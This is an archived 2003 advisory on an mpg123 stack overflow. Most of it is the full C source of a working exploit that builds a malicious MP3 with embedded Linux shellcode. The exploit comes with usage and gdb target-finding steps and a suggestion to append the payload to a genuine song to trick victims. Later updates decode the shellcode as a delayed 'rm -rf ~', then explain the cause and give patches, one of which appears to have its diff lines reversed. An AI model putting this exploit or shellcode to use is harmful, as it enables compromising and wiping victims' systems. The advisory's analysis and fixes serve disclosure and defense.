|
COMMAND mpg123 Local/remote exploit SYSTEMS AFFECTED mpg123 (pre0.59s) PROBLEM From : ___ ___ ___ ___ _ ___ ___ ___ ___ ___ _ _ ___ ___ _______ / __|/ _ \| _ ) _ ) | | __/ __| / __| __/ __| | | | _ \_ _|_ _\ \ / / | (_ | (_) | _ \ _ \ |__| _|\__ \ \__ \ _| (__| |_| | /| | | | \ V / \___|\___/|___/___/____|___|___/ |___/___\___|\___/|_|_\___| |_| |_| "Putting the honey in honeynet since '98." [gobbles@hushmail.com] advisory, with credits to [stran9er@openwall.com] for the ethnic-cleansing shellcode. /* jinglebellz.c - local/remote exploit for mpg123 (c) 2003 GOBBLES Security seXForces To use: $ gcc -o jinglebellz jinglebellz.c $ ./jinglebellz X own.mp3 (where X is the target number) $ mpg123 own.mp3 If you need help finding specific targets for this exploit: $ ./jinglebellz 2 debug.mp3 $ gdb (gdb) file mpg123 (gdb) r debug.mp3 (gdb) set $p=0xc0000000-4 (gdb) while(*$p!=0x41424348) >set $p=$p-1 >end (gdb) x/$p 0xbfff923c: 0x41424348 Add the new target to the source, recompile, and try it out! You might want to supply your own shellcode if you're going to use this to own your friends <g>. Fun things to do: 1) Create an evil.mp3 and append it to the end of a "real" mp3, so that your victim gets to listen to their favorite tunez before handing over access. ex: $ ./jinglebellz X evil.mp3 $ cat evil.mp3 >>"NiN - The Day the Whole World Went Away.mp3" 2) Laugh at Theo for not providing md5sums for the contents of ftp://ftp.openbsd.org/pub/OpenBSD/songs/, and continue laughing at him for getting his boxes comprimised when "verifying" the integrity of those mp3's. GOOD WORK THEO!@# *clap clap clap clap* Special thanks to stran9er for the shellcode. Remember, Napster is Communism, so fight for the American way of life. Quote: "GOBBLES is so 2002" -- anonymous ^^^^^^^^^^^^^^^^^^^^ hehehehehehehe ;PPpPPPPPPppPPPPpP Love, GOBBLES Special thanks to Dave Ahmed for supporting this release :> */ #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <errno.h> #define NORMAL_OVF #define VERSION "0.1" #define FALSE 0 #define TRUE 1 #define WRITE_ERROR { perror("write"); close(fd); exit(1); } #define STATE { fprintf(stderr, "\n* header (%p) state: %x: ", header, state); state ++; ltb(header); } #define MP3_SIZE (((160 * 144000)/8000) - 3) + 8 #define MAX_INPUT_FRAMESIZE 1920 unsigned char linux_shellcode[] = /* contributed by antiNSA */ "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x3b\x50\x31\xc0\x68\x6f" "\x72\x74\x0a\x68\x6f\x20\x61\x62\x68\x2d\x63\x20\x74\x68\x43" "\x54\x52\x4c\x68\x73\x2e\x2e\x20\x68\x63\x6f\x6e\x64\x68\x35" "\x20\x73\x65\x68\x20\x69\x6e\x20\x68\x72\x66\x20\x7e\x68\x72" "\x6d\x20\x2d\xb3\x02\x89\xe1\xb2\x29\xb0\x04\xcd\x80\x31\xc0" "\x31\xff\xb0\x05\x89\xc7\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66" "\xba\x70\x50\x52\xb3\x02\x89\xe1\x31\xd2\xb2\x02\xb0\x04\xcd" "\x80\x31\xc0\x31\xdb\x31\xc9\x50\x40\x50\x89\xe3\xb0\xa2\xcd" "\x80\x4f\x31\xc0\x39\xc7\x75\xd1\x31\xc0\x31\xdb\x31\xc9\x31" "\xd2\x68\x66\x20\x7e\x58\x68\x6d\x20\x2d\x72\x68\x2d\x63\x58" "\x72\x68\x41\x41\x41\x41\x68\x41\x41\x41\x41\x68\x41\x41\x41" "\x41\x68\x41\x41\x41\x41\x68\x2f\x73\x68\x43\x68\x2f\x62\x69" "\x6e\x31\xc0\x88\x44\x24\x07\x88\x44\x24\x1a\x88\x44\x24\x23" "\x89\x64\x24\x08\x31\xdb\x8d\x5c\x24\x18\x89\x5c\x24\x0c\x31" "\xdb\x8d\x5c\x24\x1b\x89\x5c\x24\x10\x89\x44\x24\x14\x31\xdb" "\x89\xe3\x8d\x4c\x24\x08\x31\xd2\x8d\x54\x24\x14\xb0\x0b\xcd" "\x80\x31\xdb\x31\xc0\x40\xcd\x80"; struct xpl { unsigned char *name; unsigned long addrloc; /* LOCATION of our intended func. ptr */ unsigned long allign; unsigned char *sc; size_t sclen; } t[] = { { "Prepare evil mp3 for SuSE 8.0", 0xbfff923c, 0, linux_shellcode, sizeof(linux_shellcode) }, { "Prepare evil mp3 for Slackware 8.0", 0xbfff96f4, 0, linux_shellcode, sizeof(linux_shellcode) }, { "Debug", 0x41424344, 0, linux_shellcode, sizeof(linux_shellcode) }, { NULL, 0x00000000, 0, NULL, 0 } }; int head_check(unsigned long head) { if ((head & 0xffe00000) != 0xffe00000) return FALSE; if (!((head >> 17) & 3)) return FALSE; if (((head >> 12) & 0xf) == 0xf) return FALSE; if (((head >> 10) & 0x3) == 0x3) return FALSE; return TRUE; } void btb(unsigned char byte) { int shift; unsigned int bit; unsigned char mask; for (shift = 7, mask = 0x80; shift >= 0; shift --, mask /= 2) { bit = 0; bit = (byte & mask) >> shift; fprintf(stderr, "%01d", bit); if (shift == 4) fputc(' ', stderr); } fputc(' ', stderr); } void ltb(unsigned long blah) { btb((unsigned char)((blah >> 24) & 0xff)); btb((unsigned char)((blah >> 16) & 0xff)); btb((unsigned char)((blah >> 8) & 0xff)); btb((unsigned char)(blah & 0xff)); } int main(int argc, char **argv) { int fd; unsigned long header; unsigned int i; unsigned int state; unsigned int tcount; unsigned char l_buf[4]; fprintf(stderr, "@! Jinglebellz.c: mpg123 frame header handling exploit, %s @!\n\n", VERSION); if (argc < 3) { fprintf(stderr, "Usage: %s <target#> <evil.mp3 name>\n\nTarget list:\n\n", argv[0]); for (tcount = 0; t[tcount].name != NULL; tcount ++) fprintf(stderr, "%d %s\n", tcount, t[tcount].name); fputc('\n', stderr); exit(0); } tcount = atoi(argv[1]); if ((fd = open(argv[2], O_CREAT|O_WRONLY|O_TRUNC, 00700)) == -1) { perror("open"); exit(1); } state = 0; fprintf(stderr, "+ filling bogus mp3 file\n"); for (i = 0; i < MP3_SIZE; i ++) if (write(fd, "A", 1) < 0) WRITE_ERROR; fprintf(stderr, "+ preparing evil header"); header = 0xffe00000; /* start state */ STATE; header |= 1 << 18; /* set bit 19, layer 2 */ STATE; header |= 1 << 11; /* set bit 12, freqs index == 6 + (header>>10), se we end up with lowest freq (8000) */ STATE; header |= 1 << 16; /* set fr->error_protection, (off) */ STATE; header |= 1 << 13; header |= 1 << 14; header |= 1 << 15; /* bitrate index to highest possible (0xf-0x1) */ STATE; header |= 1 << 9; /* fr->padding = ((newhead>>9)&0x1); */ STATE; fprintf(stderr, "\n+ checking if header is valid: %s\n", head_check(header) == FALSE ? "NO" : "YES"); l_buf[3] = header & 0xff; l_buf[2] = (header >> 8) & 0xff; l_buf[1] = (header >> 16) & 0xff; l_buf[0] = (header >> 24) & 0xff; lseek(fd, 0, SEEK_SET); if (write(fd, l_buf, sizeof(l_buf)) < 0) WRITE_ERROR; fprintf(stderr, "+ addrloc: %p\n", t[tcount].addrloc); l_buf[0] = ((t[tcount].addrloc + 0x04)) & 0xff; l_buf[1] = ((t[tcount].addrloc + 0x04) >> 8) & 0xff; l_buf[2] = ((t[tcount].addrloc + 0x04) >> 16) & 0xff; l_buf[3] = ((t[tcount].addrloc + 0x04) >> 24) & 0xff; if (write(fd, l_buf, sizeof(l_buf)) < 0) WRITE_ERROR; lseek(fd, 0, SEEK_SET); lseek(fd, MAX_INPUT_FRAMESIZE - t[tcount].sclen, SEEK_SET); fprintf(stderr, "+ writing shellcode\n"); if (write(fd, t[tcount].sc, t[tcount].sclen) < 0) WRITE_ERROR; for (i = 0; i < t[tcount].allign; i ++) if (write(fd, "A", 1) < 0) WRITE_ERROR; #ifdef NORMAL_OVF l_buf[0] = ((t[tcount].addrloc + MAX_INPUT_FRAMESIZE/2)) & 0xff; l_buf[1] = ((t[tcount].addrloc + MAX_INPUT_FRAMESIZE/2) >> 8) & 0xff; l_buf[2] = ((t[tcount].addrloc + MAX_INPUT_FRAMESIZE/2) >> 16) & 0xff; l_buf[3] = ((t[tcount].addrloc + MAX_INPUT_FRAMESIZE/2) >> 24) & 0xff; #else l_buf[0] = ((t[tcount].addrloc - 0x08)) & 0xff; l_buf[1] = ((t[tcount].addrloc - 0x08) >> 8) & 0xff; l_buf[2] = ((t[tcount].addrloc - 0x08) >> 16) & 0xff; l_buf[3] = ((t[tcount].addrloc - 0x08) >> 24) & 0xff; #endif for (i = MAX_INPUT_FRAMESIZE + t[tcount].allign; i < MP3_SIZE; i += 4) { if (write(fd, l_buf, sizeof(l_buf)) < 0) WRITE_ERROR; } lseek(fd, 0, SEEK_SET); close(fd); fprintf(stderr, "+ all done, %s is ready for use\n", argv[2]); exit(0); } Update (14 January 2003) ====== ASM decode of the shellcode : xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx mov al, 3B push eax xor eax, eax push A74726F push 6261206F push 7420632D push 4C525443 push 202E2E73 push 646E6F63 push 65732035 push 206E6920 push 7E206672 push 2D206D72 mov bl, 2 mov ecx, esp mov dl, 29 mov al, 4 int 80 ; LINUX - sys_write xor eax, eax xor edi, edi mov al, 5 mov edi, eax xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx mov dx, 5070 push edx mov bl, 2 mov ecx, esp xor edx, edx mov dl, 2 mov al, 4 int 80 ; LINUX - sys_write xor eax, eax xor ebx, ebx xor ecx, ecx push eax inc eax push eax mov ebx, esp mov al, A2 int 80 ; LINUX - sys_nanosleep dec edi xor eax, eax cmp edi, eax jnz short 004010B1 xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx push 587E2066 push 722D206D push 7258632D push 41414141 push 41414141 push 41414141 push 41414141 push 4368732F push 6E69622F xor eax, eax mov byte ptr ss:[esp+7], al mov byte ptr ss:[esp+1A], al mov byte ptr ss:[esp+23], al mov dword ptr ss:[esp+8], esp xor ebx, ebx lea ebx, dword ptr ss:[esp+18] mov dword ptr ss:[esp+C], ebx xor ebx, ebx lea ebx, dword ptr ss:[esp+1B] mov dword ptr ss:[esp+10], ebx mov dword ptr ss:[esp+14], eax xor ebx, ebx mov ebx, esp lea ecx, dword ptr ss:[esp+8] xor edx, edx lea edx, dword ptr ss:[esp+14] mov al, B int 80 ; LINUX - sys_execve xor ebx, ebx xor eax, eax inc eax int 80 ; LINUX - sys_exit Update (15 January 2003) ====== Afther decoding the shellcode, [brulez@cartel-securite.fr] notice in the stack : DATA:00402076 push 0A74726Fh ( " "tro") DATA:0040207B push 'ba o' DATA:00402080 push 't c-' DATA:00402085 push 'LRTC' DATA:0040208A push ' ..s' DATA:0040208F push 'dnoc' DATA:00402094 push 'es 5' DATA:00402099 push ' ni ' DATA:0040209E push '~ fr' DATA:004020A3 push '- mr' "rm -rf in 5 seconds.. CTRL-c to abort" ... you'll be warned ... Update (16 January 2003) ====== 3APA3A [3APA3A@SECURITY.NNOV.RU] adds : Beside all the noise: it's trivial stack overflow due to invalid maximum frame size calculation in mpg123. Maximum frame size is defined to be 1792 (mpglib/mpg123.h) and 1920 (common.c where overflow probably actually occures). Gobblez construct frame (160 * 144000)/8000 + 1 - 4 = 2877 bytes. Maximum frame may be constructed is probably (384 * 144000)/16000 + 1 - 4 = 3453 bytes. Redefining MAX_INPUT_FRAMESIZE to 4096 should probably fix the problem. mpg123.h (not one from mpglib, but one from mpg123 itself) already has MAXFRAMESIZE defined as 4096. It also could be nice to add fr->framesize check. Fix below. I'm too lazy to test it. If there are any programs using same mpglib they are vulnerable too. SOLUTION Check [http://www.mpg123.de] Benjamin Tober patch : This patch is with respect to mpg123-pre0.59s and is to the file common.c: --- common.c.orig Wed Jan 15 02:16:08 2003 +++ common.c Wed Jan 15 02:18:52 2003 @@ -579,6 +579,11 @@ fprintf(stderr,"Sorry, unknown layer type.\n"); return (0); } + if (fr->framesize>MAX_INPUT_FRAMESIZE) { + fprintf(stderr,"Frame size too big.\n"); + fr->framesize = MAX_INPUT_FRAMESIZE; + return 0; + } if(!fr->bitrate_index) { /* fprintf(stderr,"Warning, Free format not heavily tested: (head %08lx)\n",newhead); */ Update (17 January 2003) ====== 3APA3A [3APA3A@SECURITY.NNOV.RU] adds : Latest release mpg123 0.59r uses large enough buffer size and may not be exploited this way. But both versions have another one bug in frame size calculation - zero bitrate will lead to negative frame size to be calculated. Unchecked patches: for 0.59r: --- common.old 2003-01-15 21:42:15.000000000 +0300 +++ common.c 2003-01-15 21:42:38.000000000 +0300 @@ -123,7 +123,7 @@ return FALSE; if(!((head>>17)&3)) return FALSE; - if( ((head>>12)&0xf) == 0xf) + if( ((head>>12)&0xf) == 0xf || (head>>12)&0xf) == 0) return FALSE; if( ((head>>10)&0x3) == 0x3 ) return FALSE; for pre0.59s: --- common.old 2003-01-15 20:51:15.000000000 +0300 +++ common.c 2003-01-15 20:25:26.000000000 +0300 @@ -127,7 +127,7 @@ return FALSE; if(!((head>>17)&3)) return FALSE; - if( ((head>>12)&0xf) == 0xf || (head>>12)&0xf) == 0) + if( ((head>>12)&0xf) == 0xf) return FALSE; if( ((head>>10)&0x3) == 0x3 ) return FALSE; @@ -140,7 +140,7 @@ * -1: giving up * 1: synched */ -#define MAX_INPUT_FRAMESIZE 1920 +#define MAX_INPUT_FRAMESIZE 4096 #define SYNC_HEAD_MASK 0xffff0000 #define SYNC_HEAD_MASK_FF 0x0000f000 #define LOOK_AHEAD_NUM 3 @@ -237,6 +237,8 @@ } } else { + if(frameInfo.framesize > MAX_INPUT_FRAMESIZE) return 0; + if(!rds->read_frame_body(rds,dummybuf,frameInfo.framesize)) return 0;